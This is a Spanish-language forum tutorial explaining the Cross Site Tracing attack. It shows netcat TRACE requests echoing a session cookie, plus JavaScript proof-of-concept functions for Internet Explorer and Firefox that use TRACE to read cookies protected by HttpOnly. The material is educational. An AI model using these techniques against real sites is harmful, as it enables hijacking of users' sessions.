Cross Site Tracing (XST)

Iniciado por Stuxnet, Abril 02, 2013, 09:11:40 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Cross Site Tracing - XST es una vulnerabilidad que se deriva de XSS y es generada por el método  HTTP TRACE que muestra las cookies que el navegador tiene para el dominio.

El método TRACE se utiliza principalmente para fines de depuración, pero Jeremiah Grossman descubrió en 2003 que se puede llegar a montar un ataque, que es conocido como XST.

El método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:

Código: php
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:

Código: php
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn


Si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando Javascript (u otro lenguaje script ejecutado en el browser).

En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como Javascript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.

Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta....

Cómo es posible armar un pedido HTTP TRACE utilizando Javascript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.

Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

Código: php
<script type=""text/javascript"">
<!–
function sendTrace () {
     var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
     xmlHttp.open("TRACE", "http://foo.bar",false);
     xmlHttp.send();
     xmlDoc=xmlHttp.responseText;
     alert(xmlDoc);
}
//–>
</script>
<input onclick=""sendTrace();"" request="" trace="" type="BUTTON" value=""Send" />


En firefox la función a utilizar es muy similar:

Código: php
<script type="text/javascript">
<!–
function sendTrace()
{
     xhttp=new XMLHttpRequest();
     xhttp.open("TRACE", "http://foo.bar",false);
     xhttp.send();
     xmlDoc=xhttp.responseXML;
     alert(xmlDoc);
}
//–>
</script>
<INPUT TYPE=BUTTON onclick="sendTrace();" VALUE="Send Trace Request">


El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta